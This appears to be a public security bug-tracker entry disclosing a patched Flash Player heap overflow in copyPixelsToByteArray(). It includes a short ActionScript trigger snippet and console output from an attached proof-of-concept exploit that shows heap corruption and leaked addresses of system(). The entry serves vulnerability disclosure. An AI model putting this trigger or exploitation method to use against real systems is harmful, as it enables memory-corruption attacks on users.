|
|
Flash heap buffer overflow calling copyPixelsToByteArray() on a large ByteArray | |||||
| Reported by cevans@google.com, Jul 14 2014 | Back to list | |||||
A SWF to reproduce is attached, along with source. This is probably due to an integer overflow. Note that this bug is almost certainly 64-bit only. The PoC relies on creating a ByteArray that is almost 4GB in size, and obviously such an allocation is never going to succeed in a 32-bit address space. Also, the bug does not work in Chrome 64-bit Linux, because Chrome 64-bit Linux has a defense that limits total allocations to 4GB. In order to repro, use 64-bit Flash in 64-bit IE, or run Chrome 64-bit Linux with the --no-sandbox flag (which disabled the 4GB limit).
Comment 1
by
cevans@google.com,
Jul 14 2014
,
Jul 15 2014
,
Sep 5 2014
,
Sep 9 2014
Eep. This bug is actually really nasty on 32-bit, can't believe I missed it. Repro from nicolas joly var ba:ByteArray = new ByteArray(); ba.position = 0xFFFFF0004; var bd:BitmapData = new BitmapData(0x100,0x100,true,0x12345678); bd.copyPixelsToByteArray(new Rectangle(0,0,0x80,0x80), ba);
,
Sep 9 2014
http://helpx.adobe.com/security/products/flash-player/apsb14-21.html Will derestrict in a week or so, etc.
,
Sep 22 2014
Attaching a sample exploit for an old version of pepper Flash, 64-bit Linux. Sample output to the browser JavaScript console: --- And so it begins! Starting search for trashed Vector Found Vector with trashed length, num: 5 Found a Vector.<uint>, pos: 3332128 buffer address: 0x7fda9df9ad50 vtable value: 0x7fdaa3508d10 Found the specific Vector.<uint>, index: 2282 Found a ByteArray, pos: 3517486 Found the specific ByteArray, index: 5000 Current length is: 32 New length is: 1633771873 address of system plt: 0x7fdaa35a2050 address of system: 0x7fdab530a650 ByteArray vtable value: 0x7fdaa3515020 ---
,
Sep 23 2014
Making public.
,
Mar 17 2015
thank you very much http://wdfshare.blogspot.com |
||||||
| ► Sign in to add a comment | ||||||
